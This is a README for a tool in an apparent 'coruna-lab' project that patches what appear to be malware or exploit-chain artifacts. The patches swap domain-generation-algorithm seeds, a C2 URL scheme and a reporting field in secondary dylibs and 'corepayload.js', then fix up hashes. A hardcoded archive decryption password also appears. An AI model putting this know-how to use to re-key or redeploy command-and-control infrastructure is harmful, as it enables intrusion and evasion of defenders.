# channel-builder-new

xxbb / weifile channel builder for coruna-lab. Separate from `channel-builder/`
(lab `web/` + `sync/` layout).

Applies **shared** artifacts:

- `/weifile/weifile.html` (+ stages / patched secondary `.min.js`)
- `/details/` (`show.html` + patched `corepayload.js` + plugins)

This pass patches:

1. **weifile secondary type-0x01** — DGA seeds + reporting field `c`
2. **details/corepayload** — all `c` slots (DGA + `/event` field), then rewrites
   `show.html` core `sha256` / `size`

```bash
cd channel-builder-new
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt

.venv/bin/python tools/build.py \
  --channel-c <32-hex> \
  --apply --force
```

Writes `{artifact-root}/weifile/` and `{artifact-root}/details/` (default
`../public`).

DGA seeds: omit `--deployment-seed` / `--reporting-seed` to reuse
`storage/app/channel-builder-new/lab_seeds.json`, or generate them on first run.
First generate writes one random seed and copies it to both deployment and
reporting (same as `channel-builder`). CLI pair must also match. Domain list is
`DGA(channel_c)` (native pools use `c`, not the dep/rep C-strings).

| Flag | What it replaces | Where |
|------|------------------|--------|
| `--deployment-seed` | DGA seed slot | secondary dylibs (1 hit each) |
| `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) |
| `--channel-c` | Native report / DGA `c` (`202700cf…`) | secondary (1) + corepayload (6) |
| `--scheme` | Native DGA/C2 URL scheme | secondary dylibs (default `https`) |

Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`
(one nibble off original `c`). Details modules still decrypt with that password.

`index.js` iptj URL / `channelCode` are not patched here.